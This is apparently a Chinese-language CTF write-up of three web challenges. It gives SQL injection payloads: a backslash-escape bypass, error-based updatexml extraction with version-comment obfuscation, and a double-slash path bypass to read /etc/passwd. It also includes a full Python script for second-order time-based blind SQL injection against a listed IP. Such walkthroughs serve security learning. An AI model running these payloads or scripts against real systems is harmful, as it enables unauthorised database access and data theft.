wanna to see your hat?
lv帽子很帅
f12
开调试发现
有SQL语句返回,在检查帽子的地方
select count(*) from t_info where username = 'test' or nickname = 'test'
发现对' \
进行了过滤
过滤规则
'->\
\->\\
那么也就完美的避开了单引号,也因此让我们有机会利用过滤来插入反斜杠
最后payload:
or/**/1=1#'
完整语句也就是
select count(*) from t_info where username = 'or/**/1=1#\' or nickname = 'or/**/1=1#\'
方舟计划
注册的位置 发现可以无限注册,遂猜想是insert into
注入 语句大致也可以猜出来
insert into table values(0,'$username','$password','$phone'),
因为密码的加密方式不可知,因此不可能直接构造出一个用户。想来想去最后采用了报错注入
payload:
username='bertram'&phone=' or updatexml(1,concat(0x7c,(/*!50001select*/a.name /*!50001from*/(/*!50001select*/ config.* /*!50001from*/ user config limit 0,1) a),0x7c),1)or'&password='admin'=''#&repassword='admin'=''#
获取到用户名是fangzh0u
然后注入一个config
表的secertkey
,获取到加密密钥
然后随手百度了一个AES的php版本,就开了233得到
tencent123
然后发现是个上传,但是只是一个接口,avi
格式的视频转mp4
,然后想到上个月的时候看过freebuf的一篇文章……
美滋滋,但是始终没找到flag,然后就问了下web管理员,告诉我是个经常读取的文件,然后联想到一开始的/etc/passwd
读取失败,然后双写//绕过了
读取到一个奇怪的登陆目录s0m3b0dy
然后抱着试一试的心态去试了下/home/s0m3b0dy/flag.txt
然后就找到flag了
flag vending machine
超多坑点的题
由于白天都在开车,拿到题的时候已经被日的差不多了,上手发现只有注册登陆和购买三个功能,提示是在数据库中,而且用户名+单引号注册后,单引号被转义,因此猜测是二次注入。
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import time
def login(username):
login_url="http://120.132.55.92:8888/login.php";
#print "start"
login_session= requests.Session()
headers={'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36'}
data={'user':username,'pass':'123'}
login=login_session.post(login_url,data=data,headers=headers)
#print login.content
if "Welcome to Flag Vending machine" in login.content:
##print "OK"
url="http://120.132.55.92:8888/buy.php?id=1"
start=time.time()
login_session.get(url,headers=headers)
end=time.time()
print end-start
if end-start>=3:
print "OK"
return True
else:
return False
else:
return False
def register(username):
url = "http://120.132.55.92:8888/register.php"
headers={'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36'}
data={'user':username,'pass':'123'}
mysess= requests.Session()
login=mysess.post(url,data=data,headers=headers)
if "Register success" in login.content:
#print "OK",
return True
else:
return False
def sqli():
dist="f1ag1234567890.abcdefghijklmnopqrstuvwxyxzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*()_+`"
flag=''
tables=[]
for x in xrange(0,429):
for j in xrange(1,32):
for i in xrange(32,127):
sql1="bertsc' and if(ascii(substr((selselectect thisi5f14g from fff1ag limit "+str(x)+",1),"+str(j)+",1))='"+str(i)+"',sleep(3),2)#"
sql2="bertsc' and if(ascii(substr((select thisi5f14g from fff1ag limit "+str(x)+",1),"+str(j)+",1))='"+str(i)+"',sleep(3),2)#"
print sql2
if register(sql1)==True:
if login(sql2)==True:
flag=flag+chr(i)
print flag
break
else:
continue
else:
if login(sql2)==True:
flag=flag+chr(i)
print flag
break
else:
continue
print flag
tables.append(flag)
return tables
if __name__ == "__main__":
print register("bertsc")
tables=sqli()
print tables
# Register success
# thisi5f14g
#for i in xrange(19,127)
# if(mid((select table_name from information_schema.tables where table_schema='gsctfweb1' limit 0,1) ,1,1)='y',sleep(3),2)#
#bertram31' and if(mid((select table_name from information_schema.tables where table_schema='gsctfweb1' limit 0,1) ,1,1)=0x1,sleep(3),2)#
#fff1ag
主要遇到没解决的坑点是 在跑表名的时候发现自己的脚本本地可以用
where table_schema!='xxxx'
但是发现远程就不行了。说明还有什么很奇怪的地方,没注意到,绕不过就不管他,按照习惯从最后一张表开始注获取表名
一个个取尝试,分别获取表名列名,最后获取flag
此处评论已关闭